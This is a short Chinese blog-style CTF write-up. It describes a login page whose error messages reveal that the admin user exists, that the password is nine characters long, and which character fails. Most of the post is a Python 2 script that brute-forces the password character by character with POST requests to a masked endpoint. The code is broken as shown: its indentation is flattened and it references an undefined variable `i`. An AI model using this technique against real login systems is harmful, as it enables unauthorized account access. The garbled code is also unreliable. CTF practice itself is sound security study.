前几天看到一个奇怪的ctf题目 是一个后台 然后 使用 user:sssss pass:aaaaaa 提示用户不存在 之后使用 usaer:admin pass:sssss 提示长度不正确 之后 fuzz一下发现长度是9 接下来 输入 fssssssss 发现返回对比 第一位失败 所以写了如下py 脚本。。。虽然比较弱鸡 但是好歹是原创- -
#coding=utf-8
import requests
dicts=[]
num=range(0,10)
num=map(str,num)
upper=[chr(i) for i in range(65,91)]
lower=[chr(i) for i in range(97,123)]#first is f
dicts.extend(num)
dicts.extend(upper)
dicts.extend(lower)
result=""
print str("a"*9)
for x in xrange(1,10):
for l in dicts:
temp=result+l
temp=temp+("a"*int(9-x))
print temp
if 8-i<0:
temp=result
payload = {'username':'admin','userpass':temp}
r=requests.post('https://xxx.xxx.xx/login1233/authpass.php',data=payload)
if u'长度不一致' in r.content.decode('utf-8'):
result=result+l
print "result is "+result
break
print result